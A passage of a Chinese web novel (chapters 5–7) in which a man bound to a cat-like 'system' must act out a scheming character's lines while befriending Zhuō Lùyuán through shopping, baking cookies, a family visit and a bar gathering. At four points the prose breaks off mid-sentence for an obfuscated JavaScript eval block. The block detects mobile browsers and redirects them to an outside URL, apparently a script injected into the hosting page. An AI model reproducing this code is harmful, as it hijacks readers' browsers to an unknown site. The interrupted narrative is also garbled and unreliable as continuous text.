贺真这样,不会也喜欢他吧?卓鹭元没好气地说:“如果你喜欢我,那么可以放弃了,我是不会和一个男人在一起的。” 卓鹭元说出这话贺真也觉得正常,又不是人人都是gay,起码卓鹭元和自己就不是,而且看这个世界的剧情之后还会有女主出场,他又不是真的要追卓鹭元。 贺真点头,聪明地没将放弃的话说出口:“我知道了。” 卓鹭元看他也没有坚持纠缠的意思,心里也跟着松了口气,就他们俩的武力值来看,贺真要是认真起来他还真不一定打得过,另一方面他也不想在贺家刚回国的时候就把关系闹僵,他老妈得骂死他。 卓鹭元向贺真伸出右手和贺真握手,两个人算是把以前的事放下了:“淮市这边我比较熟悉,以后有空可以一起出来玩,还是有不少好玩的地方。” 贺真点头,眼神看向卓鹭元身后的剧情节点:【贺真真听说以后可以和卓鹭元出来玩,当即略带委屈地晃了晃卓鹭元的手臂,小声撒娇:“那不如陪我去商场吧?回来这么久我都还没去过呢。”】 贺真看了看自己和卓鹭元交握的手,握手的动作忽然变得僵硬,卓鹭元试图抽回手都没成功,有些恼怒地看着贺真,这人不是刚才还好好的,干吗抓着他的手不放,难道是想吃自己豆腐? 卓鹭元眼神一凛,突然用力将手抽了回来,贺真的手也跟着卓鹭元的动作晃动。 贺真额角青筋跳动,为了不让卓鹭元看出异常,只好稍稍将头低下,表情藏在发丝的阴影中:“那不如陪我去商场吧?我回来这么久还没去过。” 商场?这和好玩的地方有半分钱关系吗,难道平时贺真在国外就喜欢去这种地方,逛商场这不是女生才有的爱好吗? 卓鹭元没把话说出口,但忽然想起小时候贺真穿裙子还黏着自己,一个可怕的猜测逐渐从卓鹭元脑中浮现,不可置信地问他:“你该不会有特殊癖好吧?” 卓鹭元看到贺真的眼神从惊恐变成愤怒,又从愤怒变得平静,最后变得生无可恋,语气都没了任何起伏:“不是,没有,只是想逛商场而已。” 卓鹭元尬笑两声,打了个哈哈说下次一定,然后忙不迭从包间溜了出去,生怕自己知道了贺真的秘密,走晚一点就被灭口。 “宿主,主角这算答应了吧?”布偶猫的尾巴试图苟住贺真的脚腕,却被贺真捏住尾巴倒着从地上提了起来。 系统挣扎着大叫:“宿主,猫是不能捏尾巴的,快松开系统好不好?” “装猫还装上瘾了?”贺真嗤笑一声,盯着狗系统从牙缝里挤出几个字:“下次剧情节点要是不早点提醒我,我让你变成无毛猫,我说到做到。” 贺真觉得自己倒霉至极,这辈子尴尬地事都交待在这个世界了,尤其是卓鹭元刚才跑出去前看着自己的眼神,绝对没想什么好事。 贺真看着自己手上提着的狗系统,觉得自己有必要抽个时间训一训它了。 系统看着宿主越来越危险的眼神,下意识打了个冷颤。 晚宴结束后,贺真和父母一起回家,一到家后贺父就松了松领带,整个人陷在沙发里,不由得感叹:“怎么国内国外的宴会都这么累人。我看今天你和卓家小子聊得不错,要和人家好好相处,我看你在国外都没几个朋友,回国内可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664984|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能这样了。” 贺真肯定要接贺父的班,贺父多少有点担忧。他这儿子哪都好,就是缺点朋友,问他原因就是看不上合不来。 贺母也将高跟鞋换下,揉了揉酸疼的脚腕:“好了,孩子也累一整天了,先让他好好休息,有什么事明天再说。” 贺真也没反驳贺父,反而有些疑惑地问他:“从哪里看出我和他聊得来的?”他看卓鹭元分明很在意自己那条朋友圈,还试图劝退自己,这也叫聊得来? 贺母温婉一笑:“鹭元这孩子我知道一些,他脾气直爽,心里怎么想脸上就怎么写,可你看他大早上能去给你接机,你和郑曦争吵时还能护着你打个圆场,这还不叫聊得来?” 贺母听卓母聊过卓鹭元,听说脾气火爆,上学的时候没少和人打架吵架,卓母以前还头疼过,开始进家里公司后才算收敛一点脾气。 贺真不了解卓鹭元,但就算出于任务他也得和卓鹭元好好相处,所以顺着贺母的话说:“好,我会和他好好相处。” 贺母放心地笑笑,转而问起另一件事:“这些日子你一直往公司跑,怎么不见鹭元带你出去转转?好不容易回国,多和鹭元出去转转,别急着忙公司的事,以后有你忙的时候。” 卓家晚宴的前几天,贺真基本每天都在公司里跟着贺父学公司的事务,连系统都觉得没必要。贺真只是反问系统一句:“万一绿茶女配破产之后没台词,难道我们两个还真去捡垃圾吗?” 系统一噎,发现贺真说得也没错。没有台词的时候系统只能依靠宿主自由发挥,万一真像宿主说的那样没台词,总不能真让宿主去捡垃圾维持生活。 贺父也觉得贺真应该和同龄人多接触一下,此时也赞同贺母的话:“交朋友要主动一点,要是你不好意思,那我和你妈替你去问问,多认识点人没坏处。” 贺真摇头,没让贺父替自己去约卓鹭元,这点小事还不至于:“不用,我约过他了。” 贺母好奇地看着贺真,眼中带着点八卦意味,她这儿子小时候可没少被她打扮成小姑娘,还总去隔壁找人家玩,听说贺真去接机的时候卓鹭元才知道他是男孩。 贺母没忍住开口问贺真:“阿真,你约鹭元去哪里玩呀?酒吧那些地方可要少去。”贺真不熟悉国内,能约卓鹭元去哪玩呢? 贺真脱西装外套的动作一顿,若无其事地说:“逛商场?” 贺母和贺父缓缓转头,像没听清贺真说了什么一样,眼中浮现出怀疑。贺父不确定地揉了揉自己的耳朵,语气中带着谨慎:“儿子啊,你说你要约卓鹭元去干什么?” “逛商场,想买些衣服。”贺真装作看不见贺父贺母瞳孔地震,转身回了自己房间。不去逛商场他没办法做任务,哪怕这会他的反应在旁人看来很奇怪,他也没得办法,只能默默安慰自己,还好自己在这个世界没有熟人,可以放心丢人。 第二天卓鹭元睡眼蒙眬地接到贺真电话的时候,没忍住在电话里喊了出来:“贺真,你还真准备去逛商场啊!” 5. 第 5 章 贺真看着戴着帽子和黑色墨镜站在商场门口等他的卓鹭元,不明白他在搞哪出,谁逛商场穿成这样? 或许是贺真无声的注视存在感太强,卓鹭元推了推墨镜,从镜片后露出一半眼睛:“废话,我还是第一次陪一个大男人逛商场,被我那几个朋友知道不得笑死,我嫌丢人。” 也不知道贺真这人什么爱好,要是骑马喝酒那些都好说,逛商场他倒是头一回。 贺真也不勉强,只是觉得卓鹭元这幅打扮似乎比起平常装束更引人注目,刚才他看到这幅打扮的时候也在远处辨认了一会儿,还特地打了电话,看他掏出手机才确认。 贺真心里失笑,也没提醒卓鹭元,准备等他自己发现:“卓小公子不给我介绍一下?我刚回来,对周围不熟悉。” 这会儿商场里的人不多,卓鹭元走在前面,压低声音指了指旁边几家店:“这几家衣服还不错,高端品牌,这几年在国内的销量很不错。旁边那两家是配饰,他们家的袖扣我很喜欢。” 卓鹭元指的牌子都是些大品牌,言语间听得出对这里很熟悉,看来自己还真找对人了。 听卓鹭元说他很喜欢旁边那家的袖扣,贺真提议:“不如进去看看?” 卓鹭元本来就是陪他逛商场,他想去哪自己跟着就行,无可无不可地说了一句随便。只是还没等贺真走进店里,旁边一道女声就打断了两个人: “鹭元哥哥!” 贺真觉得这个声音有些耳熟,下一秒就看到卓鹭元头疼地转过身,企图藏在贺真身后。贺真把卓鹭元从背后挖出来,低声说:“你这么大个人,能藏到哪里去。” 真是怕什么来什么,卓鹭元不耐烦地拉下墨镜,语气不耐地问郑曦:“有事?” 郑曦惊喜娇羞的表情在看到贺真时,一张俏脸马上拉成苦瓜,看着贺真的眼神里带着警惕:“你怎么会在这里,是不是又想缠着鹭元哥哥。” 贺真的眼神看向卓鹭元,卓鹭元眨着眼睛暗示他不许说自己答应陪他逛商场,装作不耐烦的样子回答郑曦:“随便出来走走而已,你在管我?” 郑曦不甘地说了一句没有,眼神却始终在贺真身上打转,讨厌他的同时心里还有一丝嫉妒,也不知道这个死绿茶是怎么说动鹭元哥哥陪他逛商场的,明明自己努力了那么久都没成功。 郑曦心里不服气,试图推开贺真站到两个人中间,推了两把却发现推不动,只好用身体给自己挤出来个位置,抬头充满期待地看着卓鹭元:“鹭元哥哥,逛商场应该找我呀,我经常来的。” 卓鹭元扭头看了贺真一眼,眼神向郑曦偏了偏,意思是你干吗给她腾地方? 贺真无奈地摊了摊手,上次郑曦那嚎啕大哭的样子给他整怕了,他怕自己不让地方等会万一她哭起来更丢人。 卓鹭元看了看周围,已经有人悄悄地向这边看了过来。他怕郑曦一个不愿意,所有朋友都知道他来陪贺真逛商场,想了想松了口:“跟着可以,不许说话。” 郑曦忙不迭点头,想挽住卓鹭元的手臂,被卓鹭元侧身一避躲开了,他对自己身边那些男男女女是真没兴趣。 郑曦撇嘴,抢在贺真前面和卓鹭元走进店里。 卓鹭元这张脸店员显然很是熟悉,只是那副墨镜怎么看着都有点多余:“卓先生今天来得正巧,店里正好到了新的配饰,您跟我这边来。” 卓鹭元轻车熟路地向店里走去,郑曦凑到贺真旁边低声警告:“上次你污蔑我的事还没翻篇,你给我等着!” 郑曦个子矮,说话声音又小,贺真一时没听清,于是弯着腰又问了一遍:“你刚才说什么?我没听清。” 郑曦以为贺真在挑衅她,抬头瞪了他一眼,没好气地说:“没什么!” 贺真这句也没听清,一旁的店员看着贺真有些面生,带着猜测恭维:“这是您女儿吧?先生和您女儿感情真好。” 卓鹭元回头看着贺真和郑曦,毫不客气地嘲笑两个人,总算觉得今天快乐了一点。 贺真:“……”他明明什么也没说,谁让郑曦长得和小孩似的,又不是他说的这话。 郑曦恼羞成怒,对着店员破口大骂,手包就要往店员身上挥去:“你眼睛瞎啦,谁是这个死绿茶的女儿!”这绿茶也想当她爹,做梦! 说归说,但动手就不好了。贺真抬手提住了郑曦连衣裙的后领,把郑曦从店员面前拎到了沙发上坐下。 卓鹭元看着贺真的动作,怎么说呢,和提小鸡崽似的。 郑曦刚开始还没反应过来,甚至没来得及挣扎两下。等到反应过来时,郑曦已经坐在沙发上,看见卓鹭元和店员的表情,眼见着就要发飙。 卓鹭元见势不好,把手上把玩着的袖扣放下,拽着贺真马上离开:“我突然想起找他有点公司上的事情,先走一步!” 郑曦立马顾不上生气,转身朝着贺真和卓鹭元追过去,但奈何自己穿着高跟鞋,哪追的上大步离开两个人,只能看着卓鹭元的背影望洋兴叹,都怪贺真! 卓鹭元带着贺真离开,和贺真说了一句抱歉:“抱歉,今天是逛不成了。”他答应了贺真要和他逛商场,不管怎么说,郑曦都是因为他的原因才赖着不愿意走,答应的事情也泡汤了。 贺真笑笑没说话,在卓鹭元的注视下走到电梯旁,对他说:“不怪你,不用和我道歉。这个时间和我出来,你应该还没吃饭吧,我请你,当作你陪我逛商场感谢。” 前半句是贺真自己说的,后半句就是剧情节点了,当然是被他删减过的版本。让他装少女娇羞不可能的,这辈子都不可能的。 卓鹭元觉得贺真在某些时候应该是个强势的人,比如现在。贺真虽然是询问的语气,但手上却直接按了电梯,丝毫没有给卓鹭元拒绝的机会。 这让卓鹭元下意识有些不爽,他不喜欢被人安排的感觉,只说了声好之后就臭着脸走进电梯,也不和贺真说话。 贺真看了一眼脸上写着“我很不爽”的卓鹭元,觉得对方和那个植物与僵尸的对战游戏里一点就着的红辣椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664985|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很像,真对得起剧情里对他“容貌昳丽,脾气火爆”的形容,一看就是个被骄纵惯了的小少爷。 不过刚才卓鹭元为郑曦的事情和自己道歉,这让贺真觉得卓鹭元还挺有绅士风度,倒对他生出点欣赏。 淮市口味淡,贺真便和卓鹭元进了一家私房菜馆,打开菜单点了几道清淡可口的饭菜,两个人聊着天等着上菜。 和卓鹭元聊天的过程中,贺真发现卓鹭元虽然经常跑出公司去吃喝玩乐,但对于公司一些事务却有自己独特的见解。想起后来卓家被曝出承建的工程偷工减料的事,贺真试探性地问他:“这几年工程施工时偷工减料的事不少,不过很多人心照不宣,心存侥幸而已。你怎么看?” 卓鹭元脸上露出厌恶之情:“这种缺德的事有什么好说的,这种钱给我我也不会赚的,折寿。” 也是,后来卓父被对手算计,加上病倒进了医院,错过了最佳澄清时机,所以卓鹭元才会在公司交到自己手上时那么被动,不惜以联姻挽救公司。 卓鹭元听到贺真问出这种在他看来没有争议的问题,脸色有些难看:“你该不会想赚这种钱吧?我奉劝你最好别有这种想法,如果你想赚这种钱,趁早离我远点。”说完卓鹭元似乎觉得气闷,又端起杯子喝了口茶。 又是离他远点。 贺真觉得有些好笑,拿起茶壶给他添茶:“想哪去了,我从不赚这种钱,像你说的一样,折寿。我们观点一致,看来以后会是很好的合作伙伴。” 卓鹭元表情缓和了一些,低头拿起茶杯,看见杯中的茶汤时顿时有些迟疑,不禁悄悄抬头看着贺真。 怎么又是绿茶,难道他今年和绿茶犯冲?不应该呀,只听说过犯太岁的,没听说过犯绿茶的。 卓鹭元摇摇头,把天马行空的思绪甩开,喝完茶之后放下杯子问贺真:“你之后有什么打算?” 贺真想说当然是学习接管公司,系统发布任务的提示音不合时宜地响起,贺真把即将说出口的话咽回去,握住茶杯的手下意识收紧,故作羞涩地说:“元元哥哥……” 卓鹭元打了个冷颤,浑身像有蚂蚁在爬,马上伸出手打断贺真:“打住,你……换个称呼。” 贺真点头,顺着卓鹭元的话往下说:“小时候伯父伯母对我很好,于情于理我也应该去拜访一下。之前刚回国,家里有些忙不开,现在也是时候去拜访了。” 卓鹭元点头,答应帮他问问自己爸妈的时间。小时候老妈就对贺真真很好,贺真真昨天说哪个糕点好吃,第二天卓母就会特意让人做一盘给他留着,跟亲儿子似的,还不告诉自己那是个男孩。 卓鹭元压下心里那点小小的不爽,趁着服务员上菜的工夫问贺真:“你打算哪天来?” 贺真强行露出一个勉强的笑容,口不对心地说:“后天,到时候我带一些亲手做的小饼干过去。” 卓鹭元觉得店里这绿茶不错,端起杯子一口茶还没咽下去就喷了出来: “噗!你、你说你要带什么?” 6. 第 6 章 贺真好不容易糊弄着和卓鹭元吃完这顿饭,在对方充满怀疑的眼神中转身离去,怎么看怎么像落荒而逃。贺真回去后立即把系统从空间里拽了出来:“这种任务还有多少?” 说台词也就罢了,那些动作神态实在是让贺真很不适应,尤其是卓鹭元看着自己的眼神,要不是他这身材还有几分说服力,估计卓鹭元就要问他:你是不是对自己的性别有什么错误的认知? 布偶猫讨好的笑了笑,从嗓子里夹出两声假装甜美的油腻猫叫声:“喵~只要宿主做任务攒够积分就可以只完成台词部分了呢,还请宿主继续努力!” 贺真用脚扒开腿边的布偶猫,头疼地对比自己手上的低筋面粉和高筋面粉,打开手机搜索做饼干需要用哪一种。 他从来没做过这种点心,也没打算为难自己,准备做最简单的曲奇。 贺真照着手机上做曲奇的步骤,将黄油软化后加入糖粉,充分拌匀后用打蛋器打发,又再加入鸡蛋液再次均匀打发,最后加入低筋面粉。 第一次用打蛋器的时候贺真没经验,黄油被打得有些过了,溅得到处都是,连系统的猫毛上也沾了不少。贺真不好拿失败品去上门拜访,只好放进冰箱里等做完之后再处理这些。 贺真把所有材料依次放上电子秤,搅拌成面糊后装进裱花袋,握住裱花袋微微用力,一块形状不明的长条物体就出现在了烤盘上。 贺真:…… 食谱上是这样教的没错,到底哪里出了问题? 系统抖掉身上的黄油渣渣,扒着料理台蹦上去,看着贺真的表情小心翼翼地提着建议:“宿主要不要试着捏着裱花袋转个圈,不要用太大力气?” 贺真看着被他捏得有些变形的裱花袋,微微松了几分劲:“…我没用力。”谁知道这黄油面糊这么软,挤出来的形状也不听他使唤。 贺真重新打开视频,学着视频里的动作手下慢慢转着圈,虽然做出来的曲奇比视频中的大了不少,但起码已经有了曲奇的样子。 贺真把烤盘塞进烤箱,调好温度等着曲奇烤好。隔着烤箱的玻璃,贺真看到渐渐成型的曲奇饼干,总算松了一口气。 大部分曲奇烤得不错,有一部分贺真没控制好力气丑了点,被他挑出来一股脑丢给了系统:“不许浪费,我盯着你吃完。” 系统讪讪地用猫爪扒拉着形状奇怪的曲奇,圆溜溜的猫眼偷看贺真一眼,大嘴一张呼噜几口就吃完了。 反正它是系统,吃再多也没关系,只要宿主愿意做任务就行。 第二天,贺真如约带着一盒曲奇上门拜访。卓母见到贺真,热情地拉过贺真的手上看下看:“哎呀,小贺现在都长这么大啦?你说你来就来嘛,还带了…呃,曲奇?” 曲奇? 卓母接过贺真手上的盒子,当着他的面打开,看见里面的曲奇时不免有些迟疑,现在流行男孩子自己做饼干上门拜访吗? 卓母不自觉看向自己儿子,卓鹭元警惕地看了回去,马上替自己撇清:“看我做什么?我没有做饼干的爱好。” 贺真上门拜访,自然不可能只带一盒曲奇,还有些烟酒和适合温养的药材补品,看到这些时卓母的表情总算舒展了些。她就说嘛,小贺这个样子,怎么也不像会做饼干的,说不定是家里阿姨做的。 卓鹭元伸长脖子凑过头去看那盒曲奇,卖相看着比家里的甜品师做得差多了。卓家的甜品师做的曲奇是金黄色的,样子小巧,一口咬下去又酥又甜。 可盒子里的曲奇快有马卡龙那么大了,这种甜品师得丢工作了吧? 卓鹭元偷看贺真一眼,该不会真是他自己做的吧? 卓鹭元看着贺真游刃有余地和自己爸妈寒暄,不管卓母问什么他都温和地回答,半点看不出在自己面前的绿茶样子,悻悻地小声吐槽:“真会装。” 卓母没听清卓鹭元说了什么,偏过头问他:“鹭元,你刚才说什么?” 见贺真也向自己看过来,卓鹭元打着哈哈说:“我说他这个装曲奇的盒子真好看。” 卓母留着贺真说了会儿话,看着卓鹭元那百无聊赖的样子,笑了笑说:“怪我,只顾着和小贺聊天了。你和鹭元都是年轻人,应该更有话题。鹭元,你带着小贺上楼去玩,一会儿吃饭了喊你们。” “哦,那你跟我来吧。”卓鹭元站起身抻了个懒腰,被卓母嗔怪地看了一眼,卓鹭元却混不在意地带着贺真上楼:“家里没什么好玩的,我带你转转吧。” 卓鹭元在家呆久了,看着家里觉得没什么好玩的:“二楼是我自己装的视听室和游戏间,有时候心烦我会把自己关在里面玩一整天。往前是我的卧室,右边一些是我爸妈的主卧,还有一些客房。” 卓鹭元打开游戏间的门,里面摆满了各式各样的游戏设备。贺真随手拿起一对手柄看了一眼,还是限量版,这个游戏间大概属于宅男天堂了。 两人走出游戏间,卓鹭元带着贺真往三楼去:“三楼是玻璃花房,我妈喜欢在里面养些花花草草,还挺好看的。”虽然养得不好,还是靠家里阿姨打理这些花才活了下来。 卓鹭元按了一下墙壁上的按钮,花房的穹顶打开,阳光透过玻璃洒进来,照在花房里很是好看。卓鹭元指着玻璃穹顶对贺真说:“这些花草娇气,平时都只开着白色棚顶,要是把花晒死了我妈得骂死我。不过晚上来这里倒是不错,夏天躺在这里可以看到星空,风景还行。” 贺真顺着卓鹭元的目光在花房里看到一把躺椅,闻言笑了一下,这家伙还挺有情调,莫名和他选的这件礼物很搭。 贺真从口袋里拿出一个精致的小盒子,盒子上面用花体字写着“K&K”,是之前在商场里时卓鹭元说过喜欢袖扣的那一家,将它递给卓鹭元:“给你也准备了礼物,打开看看?” 虽然系统发布的任务是贺真亲手做的曲奇,但贺真也不好意思真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664986|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只送那盒曲奇,所以自己又准备了一些礼物送给卓家人。卓父卓母的礼物比较方便准备,只是到卓鹭元时贺真有些犯难。 他不知道卓鹭元喜欢什么,苦思冥想时突然想到之前和他逛商场时,郑曦突然杀出来前他手里把玩的那对袖扣。 卓鹭元有些意外贺真会给自己带礼物,意外的同时还有些心虚,他之前还真以为那盒曲奇就是他的礼物,谁让贺真之前的操作太容易让人误会。 比如和郑曦一起摔倒,还说着要去逛商场什么的。 卓鹭元心情复杂地接过盒子打开,看到里面的蓝宝石袖扣后微微发愣,这是他之前想买的那一对,只匆匆看了两眼就放下了,贺真居然记得? “之前在店里看你喜欢,当时情况特殊,现在刚好当做见面礼送给你。试试?”贺真看着卓鹭元将那对蓝宝石袖扣拿出戴上,深海一般的蓝宝石在阳光的照射下很是好看,像是照进深海里的一束光。 卓鹭元之前就看上了这对袖口,不然也不会拿在手上观看,于是难得对贺真露出一个笑脸:“既然是见面礼,那我就不客气了。你刚回来也不认识什么人,今天晚上有没有时间,我带你去见几个朋友?” 卓鹭元看贺真似乎有些犹豫,怕他拒绝,所以又补充一句:“都是和我关系还不错的,其中一个接机那天你也见过,叫盛俊文。” 贺真其实不是犹豫,而是特地等了一会儿,确定系统没发布什么令人羞耻的任务后才点头答应下来:“好,我在这里确实没什么朋友,到时候劳烦替我介绍一下。” 卓鹭元无所谓地笑笑:“小事。” 贺真猜测是因为原剧情里的绿茶女配没有给卓鹭元送什么袖扣,所以当然也没有什么相关的剧情,所以贺真在见卓鹭元的朋友这件事上算得上相对自由。 如果这种自由能再持续久一点就好了。 想到这里,贺真忽然有些大胆的想法萦绕在脑海里,连和卓家人吃午饭时也颇有些心不在焉,连系统都发现了贺真的不对劲,趁着他回家蹿出来问他:“宿主在想什么?” 贺真看了一眼佯装天真,实则在打探自己想法的蠢系统,撸了一把系统的猫头,敷衍地回答了一句:“没什么,就是在想如果你变成无毛猫是什么样子。” 系统害怕的后退两步,溜进系统空间躲起来了,宿主的想法真可怕。但它要是知道贺真的另外一个想法,估计会觉得更可怕。 贺真故意吓走系统,自己坐在房间里思索。送卓鹭元袖扣是自己节外生枝的举动,系统对于他剧情外的举动却没有反应,既没有任务也没有惩罚。 他不知道是这个系统设计的太过简陋还是有漏洞,不过这是不是意味着如果他“节外生枝”的举动,能让他在任务范围里过得更自由一点? 贺真偷看了一眼系统空间里正在纠结要不要换成狗形态的系统,无声勾了勾唇角。 就决定对不起你了。 7. 第 7 章 卓鹭元选的地方是他和盛俊文他们常去的酒吧,酒吧的老板是他们另外一个朋友,大名叫曲泽亮,卓鹭元他们都管他叫亮子,今天当然也来了。 卓鹭元拉着贺真向大家介绍:“贺真,小时候一起玩过,你们应该都认识,前段时间才回国。这些都是我朋友,戴眼镜的是严晟,穿得像个骚包花孔雀一样的就是亮子,其他人还在路上。” 亮子看着卓鹭元不满地嘀咕两句:“怎么就花孔雀了?是你们不懂小爷的品味。” 贺真看着亮子的黑底红花衬衫,不懂也并不想懂他的品味。 卓鹭元无情地嘲笑他:“这就是追你的人还没追他的人多的原因。”卓鹭元用眼神点点旁边的严晟,亮子看着严晟人模狗样的样子,不甘不愿地嘁了一声。 严晟笑了笑没接话,反而看向贺真:“鹭元说我们认识,可我瞧着有点面生?” 卓鹭元存着坏心思逗他们,故意说:“你这么说人家可要伤心了。” 两人听卓鹭元提起贺真时态度熟稔,亮子也认真看了一眼贺真,心里觉得是有些眼熟,但怎么都想不起来自己在哪里见过。看见卓鹭元看好戏的样子,亮子把自己的黑墨镜摘下来一点,朝卓鹭元看过去:“你该不会消遣我俩呢吧?” 严晟没接话,脑子里想起刚才卓鹭元说的话,小时候和他们一起玩,但后来出国了,还姓贺…… 电光火石间严晟想到一个可能性,严晟扭过头仔细上下打量贺真一番,表情像见了鬼一样,骗人的吧! 严晟不可思议地看向卓鹭元,对上他肯定得眼神,有些恍惚地喃喃自语:“他以前不是和我们一样高吗?” 小时候的贺真真是个扎着双马尾,和大家差不多高的小女孩,但现在的贺真比卓鹭元还高出不少,严晟怎么也没办法把两个人联系起来。 难道在国外吃白人饭还能长高? 嗯,也不是没可能,不少外国人就长得很高。 亮子半天没猜出来,本来想悄悄向严晟求助,却发现严晟也是一副魂不守舍的样子。盛俊文看不下去了,在桌子下悄悄用手戳了戳他,小声提醒:“就小时候经常缠着鹭元那个,三个字名字的!” 缠着卓鹭元的人? 亮子脑中一道闪电划过,忍住想给自己配一段死亡小学生BGM的冲动,缓缓抬头看着贺真,终于察觉自己初看贺真到那点熟悉感是从哪来的了,当即指着他大喊:“你是贺真真?” 或许是贺真真给大家小时候留下的印象太过浓墨重彩,连亮子这个不怎么记事的人都能叫出她的名字,贺真也不知道该开心还是不开心,脸上挂着和煦的假笑和他打招呼:“我叫贺真。” 盛俊文看着两个人见了鬼的表情,贴心地点了几杯酒给他俩压压惊,还顺手给卓鹭元点了一杯气泡水,被后者不爽地看了一眼。 盛俊文好脾气地解释:“哎呀,就你那点酒量喝什么酒,今天都是朋友,喝点气泡水过过瘾就行了。”给卓鹭元点完气泡水之后,盛俊文还问了贺真的酒量,得知他酒量不错后就放心地也给他点了一杯。 四个人边喝边聊天,亮子半真半假地埋怨:“城哥和阿衡怎么还没来,我还想看他俩惊讶地样子。”不能只有他一个人受惊吓。 卓鹭元喝着没滋味的气泡水,抬手给两个人发了条语音:来晚罚酒。 四个人正说着话,门口不远处就传来一阵令人讨厌的声音:“听老板说你也在这,所以我特地来打个招呼。怎么样,一起喝几杯?” 卓鹭元回头,看见来人时不耐烦地皱了下眉,被贺真捕捉到了,压低声音问他:“他是谁?” 卓鹭元酒量不好的事不少人都知道,眼前这个欠揍的家伙也不例外,这会故意约他喝酒,就是想看他出丑。于是卓鹭元也没给他留面子,冷笑一声也故意抬高声音给贺真介绍:“他是李尚乐。前段时间和人打赌看谁能抢到女主播的榜一,结果老二输了,剃了个光头。李少这是头发养好了?” 酒吧里灯光暗,刚才李尚乐站在背光的阴影处,贺真还没发现什么。等卓鹭元开口的时候,贺真才注意到李尚乐的打扮,准确地说是他头顶上的帽子。 李尚乐承受着四个人打量自己头顶的目光,纨绔的样子装不下去了,只觉地自己的屁.股在隐隐作痛。他爸打他下了重手,他前后养了快一个月才敢溜出门来玩,要是被卓鹭元这个阴险小人再告状就糟了。 李尚乐面色发青,却还是逞强地撑起一个笑容和卓鹭元叫板:“我输了可是愿赌服输。你呢,卓少该不会不敢和我喝酒吧?” “我干吗非要和你喝酒,无聊。”卓鹭元无趣地看他一眼,顺便看了一眼还不来的两人,不耐烦地又补了一句:五分钟不到我就走了。 卓鹭元无视自己的样子惹怒了李尚乐,从以前开始他就不喜欢卓鹭元,凭什么那群小姑娘都追在对方身后!李尚乐样子凶狠地上前两步,盛俊文和其他两人还没来得及拦,贺真先从座位上站了起来,像一堵墙一样挡在卓鹭元身前,语气听不出什么起伏:“想打架?” 贺真站起来的速度太快,李尚乐一时没刹得住车,头顶的帽檐撞在贺真胸膛处,脚下不稳一时往后倒去,还是贺真好心拽了他一把才没摔倒。 只是李尚乐人站稳了,头顶的帽子却不争气地掉在地上。 明明是昏暗的灯光,李尚乐却觉得正有一束聚光灯打在自己头顶,四个人的目光随着聚光灯正看了过来。 李尚乐心道不好,马上伸手掩耳盗铃捂住自己的头顶,随后才在四个人无语的表情中反应过来,连忙去捡地上的帽子扣在头上,色厉内荏地威胁他们:“敢拍照你们就死定了!” 李尚乐抽走胳膊的时候,贺真才发现他手上还戴着一串珠子,似乎被人盘玩了很多年。 …京圈佛子? 李尚乐还宝贝地护了一把自己的手串,这可是他奶奶给他求来的。 “噗!哈哈哈哈哈哈哈!你那是什么造型啊!”亮子没忍住,率先不给面子地大笑出声,这个光头实在太亮眼了。 严晟也后知后觉地拿出手机,李尚乐不说他还没想起来能留张他的丑照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664987|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当把柄,起码能让他消停五天,心里不免有些后悔,多好的机会啊。 卓鹭元倒是没跟着亮子一起大声嘲笑,主要是怕李尚乐绷不住。讨厌归讨厌,两人之间倒也没有什么深仇大恨,只不过互相看不顺眼而已。 李尚乐大声反驳亮子:“你懂什么,我那是敢作敢当!” 严晟对那个赌约的后续有些好奇,多了句嘴;“你们那个赌约最后怎么样了,那女主播没连夜加你们两个冤大头的联系方式?” 李尚乐神色郁郁,低声说:“没,后来她搞擦边,被封号了。” 贺真:…… 卓鹭元:…… 这都什么事儿啊。 李尚乐自顾自地坐在贺真旁边,也不顾几人的眼光,给自己点了好几杯酒,上来后端着一杯先喝了一口,还不忘和贺真打了个招呼:“你个子倒是挺高的,哪家的?以前没见过。” 卓鹭元觉得这乐子比酒好喝,撑着头好整以暇地说:“贺真真,小时候总缠着我的那个小姑娘。” 